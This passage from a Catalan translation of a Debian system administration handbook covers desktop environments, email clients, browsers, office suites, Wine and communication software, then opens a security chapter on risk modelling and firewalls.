Per a cada gestor de finestres, el paquet pertinent, per tant, registra l'ordre apropiada com a possible opció per x-window-manager juntament amb una prioritat associada. Llevat de configuració explícita de l'administrador, aquesta prioritat permet triar el millor gestor de finestres instal·lat quan s'executa l'ordre genèrica.

Tant el registre d'ordres com la configuració explícita impliquen l'script update-alternatives. Triar a on apunta una ordre simbòlica és una qüestió senzilla d'executar update-alternatives --config ordre-simbòlica. Aquest script crea (i manté) enllaços simbòlics al directori /etc/alternatives/, que al seu torn fa referència a la ubicació de l'executable. A el pas del temps, els paquets s'instal·len o eliminen, i/o l'administrador fa canvis explícits a la configuració. Quan s'elimina un paquet que proporciona una alternativa, l'alternativa automàticament va a la següent millor opció entre les restants ordres possibles.

No totes les ordres simbòliques estan explícitament enumerades per la política de Debian; alguns mantenidors de paquets de Debian han optar deliberadament per utilitzar aquest mecanisme en casos menys simples on aquest fet encara aporta una flexibilitat interessant (els exemples inclouen x-www-browser, www-browser, cc, c++, awk, etc.).

13.2.3. Gestió de menús

Els entorns d'escriptori moderns i molts gestors de finestres proporcionen menús que llisten les aplicacions disponibles per a l'usuari. Per tal de mantenir els menús actualitzats en relació amb el conjunt real d'aplicacions disponibles, cada paquet normalment proporciona un fitxer .desktop a /usr/share/applications. El format d'aquests fitxers ha estat estandarditzat per FreeDesktop.org:

→ https://specifications.freedesktop.org/desktop-entry-spec/latest/

Els menús de les aplicacions es poden personalitzar encara més pels administradors a través de fitxers de configuració a nivell de sistema tal com es descriu a la «Desktop Menu Specification» o “Especificació del menú de l'escriptori”. Els usuaris finals també poden personalitzar els menús amb eines gràfiques com kmenuedit (amb el Plasma), alacarte (amb GNOME) o menulibre.

→ https://specifications.freedesktop.org/menu-spec/latest/

HISTÒRIA El sistema de menús de Debian

Històricament —molt abans que apareguessin els estàndards de FreeDesktop.org — Debian havia inventat el seu propi sistema de menús on cada paquet proporcionava una descripció genèrica de les entrades de menú desitjades a /usr/share/menu/. Aquesta eina encara està disponible a Debian (al paquet menu) però només és marginalment útil ja que s'anima als mantenidors de paquets a basar-se en fitxers .desktop.

13.3. Escriptoris gràfics

El camp dels escriptoris gràfics lliures està dominat per dues grans col·leccions de programari: GNOME i el Plasma de KDE. Tots dos són molt populars.

Aquesta diversitat està arrelada a la història. El Plasma (inicialment només KDE, que ara és el nom de la comunitat) va ser el primer projecte d'escriptori gràfic, però va triar el conjunt d'eines gràfiques Qt i aquesta elecció no era acceptable per a un gran nombre de desenvolupadors. Les Qt no eren programari lliure en aquell moment, i GNOME es va iniciar basant-se en el joc d'eines GTK+. Des de llavors, les Qt s'han convertit en programari lliure, però els projectes han evolucionat en paral·lel.

Les comunitats GNOME i KDE encara treballen juntes: sota el paraigua de FreeDesktop.org, els projectes van col·laborar en la definició de les normes d'interoperabilitat entre aplicacions.

L'elecció del “millor” escriptori gràfic és un tema sensible que preferim evitar. Simplement descriurem les nombroses possibilitats i donarem alguns punts de vista per a noves reflexions. La millor opció serà la que fareu després de fer algunes proves.

13.3.1. GNOME

Debian Bullseye inclou la versió 3.30 del GNOME, que es pot instal·lar mitjançant un simple apt install gnome (també es pot instal·lar seleccionant la tasca “Entorn d'escriptori Debian”) - task-desktop i task-gnome-desktop).

GNOME és notable pels seus esforços en usabilitat i accessibilitat. Professionals del disseny han participat en l'escriptura dels seus estàndards i recomanacions, que ha ajudat els desenvolupadors a crear interfícies d'usuari gràfiques satisfactòries. El projecte també rep l'estímul dels grans de la informàtica, com Intel, IBM, Oracle, Novell, i, per descomptat, diverses distribucions de Linux. Finalment, molts llenguatges de programació es poden utilitzar pel desenvolupament d'aplicacions que interaccionen amb el GNOME.

Figura 13.1. L'escriptori GNOME

Per als administradors, el GNOME sembla estar millor preparat per a desplegaments massius. La configuració de l'aplicació es gestiona a través de la interfície GSettings i emmagatzema les seves dades a la base de dades DConf. Els paràmetres de configuració es poden consultar i editar amb les eines de línia d'ordres gsettings i dconf o amb la interfície gràfica d'usuari dconf-editor. L'administrador pot canviar la configuració dels usuaris amb un simple script. El lloc web del GNOME proporciona informació per guiar els administradors que gestionen les estacions de treball del GNOME:

→ https://help.gnome.org/admin/

13.3.2. KDE i Plasma

Debian Bullseye inclou la versió 5.20 del Plasma de KDE, que es pot instal·lar amb apt install kde-standard (task-kde-desktop).

El Plasma ha tingut una ràpida evolució basada en un enfocament molt pràctic. Els seus autors ràpidament van obtenir molt bons resultats, cosa que els va permetre créixer amb una gran base d'usuaris. Aquests factors van contribuir a la qualitat general del projecte. El Plasma és un entorn d'escriptori madur amb una àmplia gamma d'aplicacions.

Figura 13.2. L'escriptori Plasma

Des del llançament de les Qt 4.0, s'ha resolt l'últim problema de llicència restant amb el programari de KDE. Aquesta versió es va publicar sota la GPL tant per a Linux com per a Windows (la versió de Windows es va publicar prèviament sota una llicència no lliure). Les aplicacions de KDE es desenvolupen principalment usant el llenguatge C++.

13.3.3. Xfce i altres

Xfce és un escriptori gràfic senzill i lleuger, que és perfecte per a ordinadors amb recursos limitats. Es pot instal·lar amb apt install xfce4 (task-xfce-desktop). Igual que GNOME, Xfce es basa en el joc d'eines GTK+, i diversos components són comuns en tots dos escriptoris.

A diferència del GNOME i del Plasma, Xfce no pretén convertir-se en un vast projecte. Més enllà dels components bàsics d'un escriptori modern (gestor de fitxers, gestor de finestres, gestor de sessions, un panell per a llançadors d'aplicacions, etc.), només proporciona unes poques aplicacions específiques: un terminal, un calendari (orage), un visualitzador d'imatges, una eina de gravació de CD/DVD, un reproductor multimèdia (parole), un control de volum de so i un editor de text (mousepad).

→ https://xfce.org/?lang=es

Figura 13.3. L'escriptori Xfce

13.3.4. Altres entorns d'escriptori

LXDE i LXQt són dos entorns d'escriptori centrats en l'aspecte “lleuger”. El primer està basat en GTK+ mentre que el segona està basat en Qt. Es poden instal·lar amb els metapaquets lxde (task-lxde-desktop) i lxqt (task-lxqt-desktop).

→ https://lxde.org/

→ https://lxqt.org/

Figura 13.4. L'escriptori LXDE

Figura 13.5. L'escriptori LXQT

Cinnamon i MATE van començar ambdós quan el GNOME 3 es va allunyar del paradigma tradicional de l'escriptori, eliminant el panell habitual i el seu menú a favor del nou «shell» basat en la cerca. El primer va tornar a introduir un panell mitjançant la bifurcació del GNOME Shell i el segon és una continuació del GNOME 2. Es poden instal·lar amb els metapaquets cinnamon-desktop-environment (task-cinnamon-desktop) i mate-desktop-environment (task-mate-desktop).

→ https://developer.linuxmint.com/projects/cinnamon-projects.html

→ https://mate-desktop.org/ca/

Figura 13.6. L'escriptori Cinnamon

Figura 13.7. L'escriptori MATE

13.4. Correu electrònic

13.4.1. Evolution

COMUNITAT Paquets populars

La instal·lació del paquet populariry-contest permet la participació en una enquesta automatitzada que informa al projecte Debian sobre els paquets més populars. Un script s'executa setmanalment per cron i que envia una llista anònima dels paquets instal·lats (per HTTP o correu electrònic) i l'última data d'accés per als fitxers que contenen. Això permet als mantenidors de Debian saber quins paquets s'instal·len amb més freqüència, i d'aquests, amb quina freqüència s'utilitzen realment.

Aquesta informació és de gran ajuda per al projecte Debian. S'utilitza per determinar quins paquets s'haurien de posar als primers discos d'instal·lació. Les dades d'instal·lació també són un factor important per decidir si eliminar un paquet amb molt pocs usuaris de la distribució. Recomanem fermament la instal·lació del paquet popularity-contest i la participació en l'enquesta.

Les dades recollides es fan públiques cada dia.

→ https://popcon.debian.org/

Aquestes estadístiques també poden ajudar els usuaris a triar entre dos paquets que semblen equivalents. Triar el paquet més popular és probablement una opció més segura.

Evolution és el client de correu electrònic del GNOME i es pot instal·lar amb apt install evolution. És una mica més que un simple client de correu electrònic: també proporciona un calendari, una llibreta d'adreces, una llista de tasques i una aplicació de notes (per a notes sense format). El seu component de correu electrònic inclou un potent sistema d'indexació de missatges, i permet la creació de carpetes virtuals basades en consultes de cerca en tots els missatges arxivats. En altres paraules, tots els missatges s'emmagatzemen de la mateixa manera, però es mostren en una organització basada en carpetes, on cada carpeta conté missatges que coincideixen amb un conjunt de criteris de filtratge.

Figura 13.8. El programa de correu electrònic Evolution

Una extensió per Evolution permet la integració amb el sistema de correu electrònic Microsoft Exchange; el paquet requerit és evolution-ews.

13.4.2. KMail

El programari de correu electrònic del KDE es pot instal·lar amb apt install kmail. El KMail només gestiona el correu electrònic, però pertany a un paquet de programari anomenat KDE-PIM (de «Personal Information Manager» o “gestor d'informació personal”) que inclou característiques com ara llibreta d'adreces, un component de calendari, etc. El KMail té totes les característiques que hom s'espera d'un excel·lent client de correu electrònic.

Figura 13.9. El programa de correu electrònic KMail

13.4.3. Thunderbird

El paquet thunderbird proporciona el client de correu electrònic de la suite de programari de Mozilla. Hi ha diversos conjunts de localització disponibles als paquets thunderbird-l10n-*; l'extensió enigmail gestiona el xifratge i la signatura de missatges, però no està disponible en tots els idiomes.

Figura 13.10. El programa de correu electrònic Thunderbird

13.5. Navegadors web

Epiphany, el navegador web de la suite GNOME, utilitza el motor de visualització WebKit desenvolupat per Apple per al seu navegador Safari. El paquet pertinent és epiphany-browser.

Konqueror, disponible al paquet konqueror, és el navegador web del KDE (però també pot assumir el paper d'un gestor de fitxers). Utilitza el motor de representació KHTML específic del KDE; KHTML és un motor excel·lent, com ho demostra el fet que el WebKit d'Apple es basa en KHTML. El KDE també té un navegador més nou anomenat Falkon, disponible al paquet falkon. Utilitza el QtWebEngine.

Els usuaris que no estiguin satisfets amb cap dels anteriors poden utilitzar el Firefox. Aquest navegador, disponible al paquet firefox-esr, utilitza el visualitzador Gecko del projecte Mozilla, amb una interfície fina i extensible per sobre.

Figura 13.11. El navegador web Firefox

VOCABULARI Firefox ESR

Mozilla té un cicle de publicació molt ràpid per al Firefox. Les noves versions es publiquen cada sis o vuit setmanes i només es dona suport per a qüestions de seguretat a l'última versió . Això no s'adapta a tots els usuaris de manera que, cada 10 cicles, estan promovent una de les seves versions com a «Extended Support Release» (ESR) o “versió amb suport extès” que obtindrà actualitzacions de seguretat (però sense canvis funcionals) durant els següents 10 cicles (que cobreix una mica més d'un any).

Debian té les dues versions empaquetades. L'ESR, al paquet firefox-esr, s'utilitza per defecte ja que és l'única versió adequada per a Debian Stableamb el seu llarg període de suport (i fins i tot allà Debian hi ha d'actualitzar des d'una versió ESR a les següents diverses vegades durant un cicle de vida de Debian Stable). El Firefox “normal” està disponible al paquet firefox però només està disponible per als usuaris de Debian Unstable.

CULTURA Iceweasel, Firefox i altres

Abans de Debian Stretch, el Firefox i el Thunderbird no hi eren presents. El paquet iceweasel contenia Iceweasel, que bàsicament era el Firefox amb un altre nom.

La raó d'aquest canvi de nom va ser el resultat de les normes d'ús imposades per la Fundació Mozilla en la marca registrada Firefox™: qualsevol programari anomenat Firefox havia d'utilitzar el logo i les icones oficials del Firefox. No obstant això, com que aquests elements no són publicats sota una llicència lliure, Debian no va poder distribuir-los en la seva secció main. En lloc de moure tot el navegador a non-free, el mantenidor del paquet decidí utilitzar un nom diferent.

Per raons similars, el client de correu electrònic Thunderbird™ va ser reanomenat com a Icedove de manera similar.

Actualment, el logo i les icones es distribueixen sota una llicència de programari lliure i Mozilla reconeix que els canvis fets pel projecte Debian respecten la seva llicència de marca, de manera que Debian pot tornar a distribuir les aplicacions de Mozilla usant el nom oficial.

CULTURA Mozilla

Netscape Navigator era el navegador estàndard quan la web va començar a arribar a les masses, però va perdre terreny quan Microsoft va incloure Internet Explorer amb Windows i va signar contractes amb fabricants d'ordinadors que els prohibien preinstal·lar el Netscape Navigator. Davant d'aquest fracàs, Netscape (l'empresa) va decidir “alliberar" el codi font, publicant-lo sota una llicència lliure, per donar-li una segona vida. Aquest va ser el començament del projecte Mozilla. Després de molts anys de desenvolupament, els resultats són més que satisfactoris: el projecte Mozilla va portar un motor de representació HTML (anomenat Gecko) que es troba entre els més conformes amb l'estàndard. Aquest motor de representació és en particular utilitzat pel navegador Mozilla Firefox, que és un dels principals navegadors.

Finalment, però no menys important, Debian també conté el navegador web Chromium (disponible al paquet chromium). Aquest navegador és desenvolupat per Google i s'ha convertit en el navegador més popular en només uns pocs anys. El seu propòsit clar és fer que els serveis web siguin més atractius, tant optimitzant el navegador per al rendiment com augmentant la seguretat de l'usuari. El codi lliure que potencia Chromium també és utilitzat per la versió propietària anomenada Google Chrome™.

13.6. Desenvolupament

13.6.1. Eines per a GTK+ al GNOME

Anjuta (al paquet anjuta) i GNOME Builder (al paquet gnome-builder) són entorns de desenvolupament integrats («Integrated Development Environment» o IDE) optimitzats per crear aplicacions GTK+ per a GNOME. Glade (al paquet glade) és una aplicació dissenyada per crear interfícies gràfiques GTK+ per al GNOME i desar-les en un fitxer XML. Aquests fitxers XML poden ser carregats per la biblioteca compartida de GTK+ mitjançant el seu component GtkBuilder per recrear les interfícies desades; aquesta característica pot ser interessant, per exemple per a connectors que requereixen diàlegs.

→ https://wiki.gnome.org/Apps/Builder

→ http://anjuta.org/

→ https://glade.gnome.org/

13.6.2. Eines per a les Qt

Les aplicacions equivalents per a les Qt són KDevelop per a KDE (al paquet kdevelop) per a l'entorn de desenvolupament, i Qt Designer (al paquet qttools5-dev-tools) per al disseny d'interfícies gràfiques per a les aplicacions Qt.

El KDevelop també és un IDE genèric i proporciona connectors per a altres llenguatges com el Python i PHP i diferents sistemes de compilació.

13.7. Suites d'oficina

El programari d'oficina ha estat vist des de fa molt temps com a absent en el món del programari lliure. Els usuaris requereixen alternatives per a eines de Microsoft com Word i Excel, però són tan complexes que els reemplaçaments eren difícils de desenvolupar. La situació va canviar quan Sun va publicar el codi de StarOffice sota una llicència lliure com a OpenOffice, un projecte que més tard va donar a llum a LibreOffice, que està disponible a Debian. El projecte KDE també té la seva pròpia suite d'oficina, anomenada Calligra Suite (anteriorment KOffice), i GNOME, tot i que mai ofereix una suite d'oficina exhaustiva, proporciona AbiWord com a processador de text i Gnumeric com a full de càlcul. Els diversos projectes tenen els seus punts forts. Per exemple, el full de càlcul Gnumeric és millor que OpenOffice.org/LibreOffice en alguns dominis, especialment la precisió dels seus càlculs. En el front de processament de textos, la suite de LibreOffice encara encapçala el camí.

Una altra característica important per als usuaris és la capacitat d'importar documents del Microsoft Office. Tot i que totes les suites d'oficina tenen aquesta característica, només les d'OpenOffice.org i LibreOffice són prou funcionals per a un ús diari.

UNA VISIÓ MÉS ÀMPLIA LibreOffice reemplaça OpenOffice.org

Col·laboradors de l'OpenOffice.org van establir una fundació (The Document Foundation) per fomentar el desenvolupament del projecte. La idea havia estat discutida durant algun temps, però el motiu decisiu va ser l'adquisició de Sun per part d'Oracle. El nou propietari va fer incert el futur d'OpenOffice sota Oracle. Com que Oracle es va negar a unir-se a la fundació, els desenvolupadors van haver de renunciar al nom d'OpenOffice.org. Aquesta suite d'oficina es coneix actualment com LibreOffice, i està disponible a Debian.

Després d'un període de relatiu estancament a OpenOffice.org, Oracle va donar el codi i els drets associats a la Apache Software Foundation, i OpenOffice és ara un projecte Apache. Aquest projecte no està disponible actualment a Debian i està bastant “moribund” en comparació amb LibreOffice.

LibreOffice i Calligra Suite estan disponibles als paquets Debian libreoffice i calligra, respectivament.

Els paquets específics de llengua per a LibreOffice es distribueixen en paquets separats, sobretot libreoffice-l10n-* i libreoffice-help-*. Algunes característiques com ara diccionaris ortogràfics, patrons de partició de mots i tesauri estan en paquets separats, com myspell-*, hunspell-*, hyphen-* i mythes-*.

13.8. Emulació de Windows: Wine

Malgrat tots els esforços anteriorment esmentats, encara hi ha una sèrie d'eines sense un equivalent en Linux, o per a les quals la versió original és absolutament necessària. Aquí és on els sistemes d'emulació de Windows ens seran pràctics. El més conegut entre ells és el Wine.

→ https://www.winehq.org/

COMPLEMENTS CrossOver Linux

CrossOver, produït per CodeWeavers, és un conjunt de millores pel Wine que amplia el conjunt disponible de característiques emulades fins a un punt en què Microsoft Office es pot utilitzar plenament. Algunes de les millores es fusionen periòdicament en el Wine.

→ https://www.codeweavers.com/products/

No obstant això, cal tenir en compte que només és una solució, entre altres, i el problema també es pot abordar amb una màquina virtual o amb VNC; ambdues solucions es detallen en les barres laterals ALTERNATIVA Màquines virtuals i ALTERNATIVA Windows Terminal Server o VNC.

Comencem amb un recordatori: l'emulació permet executar un programa (desenvolupat per a un sistema objectiu) en un sistema amfitrió diferent. El programari d'emulació utilitza el sistema hoste, on s'executa l'aplicació, per imitar les característiques requerides del sistema objectiu.

Ara instal·larem els paquets requerits (ttf-mscorefonts-installer està a la secció «contrib»):

# apt install wine ttf-mscorefonts-installer

En un sistema de 64 bits (amd64), si les aplicacions de Windows són de 32 bits, llavors haureu d'activar el «multi-arch» per poder instal·lar el wine32 de l'arquitectura i386 (vegeu Secció 5.4.5, «Suport multiarquitectura»).

L'usuari ha d'executar winecfg i configurar quines ubicacions (Debian) s'assignen a quines unitats (Windows). winecfg té alguns valors predeterminats i pot detectar automàticament algunes unitats més; tingueu en compte que encara que tingueu un sistema d'arrencada dual, no hauríeu d'apuntar la unitat C: a on la partició de Windows està muntada a Debian, ja que el Wine és probable que sobreescrigui algunes de les dades d'aquesta partició, fent que Windows quedi inservible. Altres configuracions es poden mantenir als seus valors per defecte. Per executar programes Windows, primer haureu d'instal·lar-los executant el seu instal·lador (Windows) amb el Wine, amb una ordre com wine .../setup.exe; un cop el programa està instal·lat, podeu executar-lo amb wine .../program.exe. La ubicació exacta de l'arxiu program.exe depèn d'on s'ha mapejat la unitat C:; en molts casos, però, simplement executant wine programa funcionarà, ja que el programa s'instal·la normalment en una ubicació on el Wine ja hi buscarà per si mateix.

SUGGERIMENT Superar una fallada a winecfg

En alguns casos, winecfg (que és només un “embolcall”) podria fallar. Com a possible solució, és pot intentar executar l'ordre subjacent manualment: wine64 /usr/lib/x86_64-linux-gnu/wine/wine/winecfg.exe.so o wine32 /usr/lib/i386-linux-gnu/wine/winecfg.exe.so.

Tingueu en compte que no s'ha de confiar en Wine (o solucions similars) sense provar el programari en particular: només una prova d'ús real determinarà de manera concloent si l'emulació és plenament funcional.

ALTERNATIVA Màquines virtuals

Una alternativa a emular el sistema operatiu de Microsoft és executar-lo en una màquina virtual que emula un ordinador amb el maquinari complet. Això permet executar qualsevol sistema operatiu. Capítol 12, Administració avançada descriu diversos sistemes de virtualització, sobretot Xen i KVM (però també QEMU, VMWare i VirtualBox).

ALTERNATIVA Windows Terminal Server o VNC

Encara una altra possibilitat és executar remotament les aplicacions antigues de Windows en un servidor central amb Windows Terminal Server i accedir a l'aplicació des de màquines de Linux utilitzant rdesktop. Aquest és un client de Linux per al protocol RDP («Remote Desktop Protocol» o “protocol d'escriptori remot”) que Windows NT/2000 Terminal Server utilitza per mostrar escriptoris de màquines remotes.

El programari VNC proporciona característiques similars, amb el benefici afegit de treballar també amb molts sistemes operatius. Els clients i servidors Linux de VNC es descriuen a Secció 9.2, «Inici de sessió remot».

13.9. Programari de comunicacions en temps real

Debian proporciona una àmplia gamma de programari client de comunicacions en temps real (RTC). La configuració dels servidors RTC es discuteix a Secció 11.8, «Serveis de comunicació en temps real». En la terminologia SIP («Session Initiation Protocol») una aplicació client o dispositiu també es coneix com a agent usuari.

Cada aplicació client varia en la funcionalitat. Algunes aplicacions són més convenients per als usuaris intensius de xat, mentre que altres aplicacions són més estables per als usuaris de càmera web. Pot ser necessari provar diverses aplicacions per identificar les que s'adiuen més. Un usuari pot decidir finalment que es necessita més d'una aplicació, per exemple, una aplicació XMPP per a la missatgeria amb clients i una aplicació IRC per a la col·laboració amb algunes comunitats en xarxa.

Per maximitzar la capacitat dels usuaris de comunicar-se amb el món més ampli, es recomana configurar ambdós clients SIP i XMPP, o un sol client que suporti els dos protocols.

L'escriptori GNOME per defecte suggereix el client de comunicacions Empathy. L'Empathy pot suportar tant SIP com XMPP. Permet la missatgeria instantània (IM), la veu i el vídeo. El projecte KDE proporciona el KDE Telepathy, un client de comunicacions basat en les mateixes APIs de Telepathy subjacents utilitzades pel client de GNOME Empathy.

Les alternatives més populars a Empathy/Telepathy inclouen Ekiga, Linphone, Psi, Jitsi i Jami (anteriorment conegut com a Ring).

Jitsi no requereix cap client més que un navegador web. Admet trucades xifrades i hi ha una llista enorme d'instàncies públiques. No hi ha cap paquet oficial de Debian per a Jitsi, però es pot descarregar des del seu lloc web oficial.

Algunes d'aquestes aplicacions també poden interaccionar amb usuaris mòbils utilitzant aplicacions com Lumicall en Android.

→ https://lumicall.org

La «Real-Time Communications Quick Start Guide» o “guia d'inici ràpid en comunicacions en temps real” té un capítol dedicat al programari client.

→ http://rtcquickstart.org/guide/multi/useragents.html

SUGGERIMENT Busqueu clients que suportin ICE i TURN

Alguns clients d'RTC tenen problemes significatius en enviar veu i vídeo a través de tallafocs i xarxes NAT. Els usuaris poden rebre trucades fantasma (el telèfon els sona, però no senten l'altra persona) o poden no ser capaços de trucar.

Els protocols ICE i TURN es van desenvolupar per resoldre aquests problemes. Operar un servidor TURN amb adreces IP públiques a cada costat i utilitzar programari de client que suporti ICE i TURN ofereix la millor experiència d'usuari.

Si el programari del client només està destinat a la missatgeria instantània, no hi ha cap necessitat de suportar ICE o TURN.

ALTERNATIVA Internet Relay Chat

L'IRC també es pot considerar, a banda de SIP i XMPP. L'IRC està més orientat al voltant del concepte de canals, el nom del qual comença amb un signe de sostingut («hash») #. Cada canal sol ser dedicat a un tema específic i qualsevol nombre de persones pot unir-se a un canal per discutir-hi (però els usuaris poden tenir converses privades d'un a un si cal). El protocol d'IRC és més antic i no permet l'encriptació d'extrem a extrem dels missatges; encara i així, és possible xifrar les comunicacions entre els usuaris i el servidor mitjançant el túnel del protocol d'IRC dins d'SSL.

Els clients d'IRC són una mica més complexos, i normalment proporcionen moltes característiques d'ús limitat en un entorn corporatiu. Per exemple, els operadors del canal són usuaris dotats de la capacitat de fer fora a altres usuaris d'un canal, o fins i tot prohibir-los permanentment, quan interrompen la normal discussió.

Com que el protocol IRC és molt antic, hi ha molts clients disponibles per a molts grups d'usuaris; exemples inclouen XChat i Smuxi (clients gràfics basats en GTK+), Irssi (en mode text), Circe (integrat a Emacs), etc.

Capítol 14. Seguretat

Un sistema d'informació pot tenir un nivell d'importància variable depenent de l'entorn. En alguns casos, és vital per a la supervivència d'una empresa. Per tant, ha de protegir-se de diversos tipus de riscos. El procés d'avaluació d'aquests riscos, la definició i aplicació de la protecció es coneix col·lectivament com el "procés de seguretat".

14.1. Definició d'una política de seguretat

COMPTE Àmbit d'aquest capítol

La seguretat és un tema vast i molt delicat, per la qual cosa no podem pretendre descriure-ho de cap manera de forma exhaustiva en el transcurs d'un únic capítol. Només delimitarem alguns punts importants i descriurem algunes de les eines i mètodes que poden ser d'utilitat en l'àmbit de la seguretat. Per a una lectura posterior, la literatura abunda i llibres sencers han estat dedicats al tema.

La paraula "seguretat" en si cobreix una àmplia gamma de conceptes, eines i procediments, cap dels quals té validesa universal. Triar entre ells requereix una idea precisa de quins són els propis objectius. Assegurar un sistema comença per respondre a unes quantes preguntes. Precipitar-se per l'aplicació d'un conjunt arbitrari d'eines corre el risc de centrar-se en aspectes erronis de la seguretat.

Per tant, el primer que cal determinar és l'objectiu. Un bon enfocament per a ajudar amb aquesta determinació comença amb les següents preguntes:

Què s'està intentant protegir? La política de seguretat serà diferent depenent de si volem protegir els ordinadors o les dades. En aquest últim cas, també hem de saber quines dades.

De què estem intentant protegir-nos contra? És una fuita de dades confidencials? La pèrdua accidental de dades? Pèrdua d'ingressos causada per la interrupció del servei?

A més, de qui ens estem intentant protegir? Les mesures de seguretat seran molt diferents per a protegir-se contra un error de control per part d'un usuari regular del sistema del que seria protegir-se contra un grup atacant motivat.

El terme "risc" s'utilitza habitualment per referir-se col·lectivament a aquests tres factors: què protegir, què evitar que succeeixi, i qui intentarà fer-ho. El modelatge del risc requereix respostes a aquestes tres preguntes. A partir d'aquest model de risc, es pot construir una política de seguretat i la política es pot aplicar amb accions concretes.

NOTA Qüestions permanents

Bruce Schneier, un expert mundial en qüestions de seguretat (no només sobre la seguretat informàtica) intenta contrarestar un dels mites més importants de la seguretat amb un lema: "La seguretat és un procés, no un producte". Allò que es protegeix pot canviar amb el temps, i també les amenaces i els mitjans disponibles per als possibles atacants. Fins i tot si al principi s'ha dissenyat i aplicat perfectament una política de seguretat, mai hauríem d'adormir-nos als llorers. Els components de risc evolucionen i la resposta a aquest risc ha d'evolucionar en conseqüència.

També cal tenir en compte les restriccions addicionals, ja que poden restringir la gamma de polítiques disponibles. Fins a on estem disposats a arribar per a garantir un sistema? Aquesta qüestió té un gran impacte en la política a aplicar. La resposta es defineix amb massa freqüència només en termes de costos monetaris, però també s'han de considerar els altres elements, com la quantitat de molèsties imposades als usuaris del sistema o la degradació del rendiment.

Una vegada modelat el risc, es pot començar a pensar en el disseny d'una veritable política de seguretat.

NOTA Polítiques extremes

Hi ha casos en els quals l'elecció de les accions necessàries per a garantir un sistema és extremadament simple.

Per exemple, si el sistema que ha de protegir-se només comprèn un ordinador de segona mà, l'únic ús de la qual és sumar uns pocs números al final del dia, decidir no fer res especial per a protegir-lo seria bastant raonable. El valor intrínsec del sistema és baix. El valor de les dades és zero ja que no s'emmagatzemen a l'ordinador. Un possible atacant infiltrant aquest "sistema" només guanyaria una calculadora poc flexible. El cost d'assegurar un sistema d'aquest tipus seria probablement major que el cost d'un atac.

En l'altre extrem de l'espectre, potser volem protegir la confidencialitat de dades secretes de la forma més exhaustiva possible, ignorant qualsevol altra consideració. En aquest cas, una resposta apropiada seria la destrucció total d'aquestes dades (esborrant els arxius de manera segura, esmicolant els discos durs a trossets i després dissolent aquests trossos en àcid, etc.). Si hi ha un requisit addicional que les dades s'han de mantenir en emmagatzematge per a un ús futur (encara que no necessàriament disponible de manera immediata), i si el cost encara no és un factor, llavors un punt de partida seria emmagatzemar les dades de les plaques d'aliatge d'iridium-platí emmagatzemades en búnquers a prova de bombes sota diverses muntanyes del món, cadascuna de les quals és (per descomptat) totalment secreta i vigilada per exèrcits sencers…

Encara que aquests exemples puguin semblar extremistes, serien sens dubte una resposta adequada als riscos definits, en la mesura en què són el resultat d'un procés de reflexió que té en compte els objectius a aconseguir i les limitacions a complir. Quan procedeix d'una decisió raonada, cap política de seguretat és menys respectable que cap altra.

En la majoria dels casos, el sistema d'informació es pot segmentar en subconjunts consistents i majoritàriament independents. Cada subsistema tindrà els seus propis requisits i restriccions, per la qual cosa l'avaluació del risc i el disseny de la política de seguretat haurien de realitzar-se per separat per a cadascun. Un bon principi que cal tenir en compte és que un perímetre curt i ben definit és més fàcil de defensar que una frontera llarga i sinuosa. L'organització de la xarxa també hauria de dissenyar-se en conseqüència: els serveis sensibles haurien de concentrar-se en un petit nombre de màquines, i aquestes màquines només haurien de ser accessibles a través d'un nombre mínim de punts de control; assegurar aquests punts de control serà més fàcil que assegurar totes les màquines sensibles contra la totalitat del món exterior. És en aquest punt que la utilitat del filtrat de xarxa (incloent-hi els tallafocs) es fa evident. Aquest filtratge es pot implementar amb un maquinari dedicat, però una solució possiblement més simple i flexible és utilitzar un tallafocs de programari com el que ve integrat al nucli de Linux.

14.2. Tallafocs o filtratge de paquets

TORNAR A LES BASES Tallafocs

Un tallafocs o «firewall» és un equip amb maquinari i/o programari que ordena els paquets de xarxa entrants o sortints (que venen cap o des d'una xarxa local) i només permet passar als que coincideixin amb certes condicions predefinides.

Un tallafocs és una passarel·la filtrant de xarxa i només és eficaç en paquets que han de passar a través d'ella. Per tant, només pot ser eficaç quan el pas pel tallafocs és l'única ruta per a aquests paquets.

CAS ESPECÍFIC Tallafocs local

Un tallafocs es pot restringir a una màquina en particular (en contraposició a una xarxa completa), en aquest cas el seu paper és filtrar o limitar l'accés a alguns serveis. No obstant això, sempre és millor configurar els serveis per a no escoltar en aquestes interfícies de xarxa on se suposa que aquests serveis no s'han d'oferir, o desactivar i eliminar serveis que no es pretén oferir en absolut, abans que utilitzar un filtre de paquets per a evitar-hi qualsevol accés no desitjat.

El seu paper també pot ser filtrar o limitar les connexions per part de programari maliciós o mal programat que un usuari podria, intencionadament o no, haver instal·lat. No obstant això, la seva fiabilitat depèn en gran manera de l'objectiu d'aquestes accions i de la integritat del propi sistema. Aquesta acció no és una mesura per a evitar possibles amenaces d'enviar dades.

El nucli de Linux innclou el tallafocs netfilter, que es pot controlar des de l'espai d'usuari amb les ordres iptables, ip6tables, arptablesi ebtables.

No obstant això, les ordres iptables de Netfilter s'estan substituint per nftables, que evita molts dels seus problemes. El seu disseny implica menys duplicació de codi, i es pot gestionar amb només l'ordre nft. A partir de Debian Buster, s'usa nftables per defecte. Les ordres esmentades anteriorment són proporcionades per versions, que utilitzen l'API nftables del nucli, per defecte. Si una requerís les ordres “clàssiques”, els binaris corresponents es poden ajustar utilitzant update-alternatives.

EINES fwbuilder i ufw

Tot i que està destinat a ser substituït per nftables, iptables encara s'utilitza àmpliament i és adequat per a molts casos d'ús. La creació d'una regla requereix una invocació de iptables/ip6tables. Escriure aquestes ordres manualment pot ser tediós, de manera que les crides s'emmagatzemen normalment en un script, de manera que la mateixa configuració es carrega automàticament cada vegada que s'arrenca la màquina, o es pot fer “persistent” utilitzant iptables-persistent.

Un script normalment s'ha d'escriure a mà. Però hi ha eines que fan que sigui més simple configurar el tallafocs netfilter amb una representació gràfica de les regles de filtratge. fwbuilder és sens dubte una de les millors. Les regles es creen amb accions simples d'“arrossegar i deixar anar” sobre objectes (interfícies, xarxes, ports, servidors, etc.). Alguns menús contextuals poden canviar la condició (negant-la, per exemple). Després cal triar i configurar l'acció.

